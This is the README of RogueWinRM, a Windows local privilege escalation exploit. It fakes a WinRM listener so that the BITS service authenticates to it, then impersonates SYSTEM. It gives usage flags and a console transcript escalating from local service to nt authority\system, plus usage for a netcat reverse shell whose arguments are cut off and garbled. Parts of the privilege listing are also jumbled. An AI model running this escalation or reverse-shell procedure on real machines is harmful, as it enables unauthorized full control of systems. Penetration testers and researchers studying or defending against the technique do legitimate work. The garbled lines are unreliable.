

RogueWinRM

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SelmpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.

It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.

Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.

You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

Usage

```
RogueWinRM

Mandatory args:
-p program>: program to launch

Optional args:
-a <argument>: command line argument to pass to
-l <port>: listening port (default 5985 WinRM)
-d : Enable Debugging output
```

Examples

```
Microsoft Windows [Version 10.0.18362.476]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\local service
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
Privilege Name
                                            Description
                                                                                                             State
SeAssignPrimaryTokenPrivilege Replace a process level token
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSystemtimePrivilege Change the system time Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
                                                                                                             Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set
SeTimeZonePrivilege
                                            Change the time zone
C:\Windows\system32>cd C:\temp
C:\temp>RogueWinRM.exe -p C:\windows\system32\cmd.exe
Listening for connection on port 5985 ....
Received http negotiate request
Sending the 401 http response with ntlm type 2 challenge
Received http packet with ntlm type3 response
Using ntlm type3 response in AcceptSecurityContext()
BITS triggered!
[+] authresult 0
NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
 Select Administrator: C:\windows\system32\cmd.exe
Microsoft Windows [Version 10.0.18362.476]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
 C:\Windows\system32>echo test > test
 :\Windows\system32>dir /q C:\windows\system32\test
Volume in drive C has no label.
 Volume Serial Number is 6AEE-A664
 Directory of C:\windows\system32
                                                        7 NT AUTHORITY\SYSTEM
12/03/2019 02:43 PM
                      0 Dir(s) 88,713,859,072 bytes free
 :\Windows\system32>
```

Running an interactive cmd:

RogueWinRM.exe -p C:\windows\system32\cmd.exe

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Running netcat reverse shell:

RogueWinRM.exe -p C:\windows\temp\nc64.exe -a ": ☐

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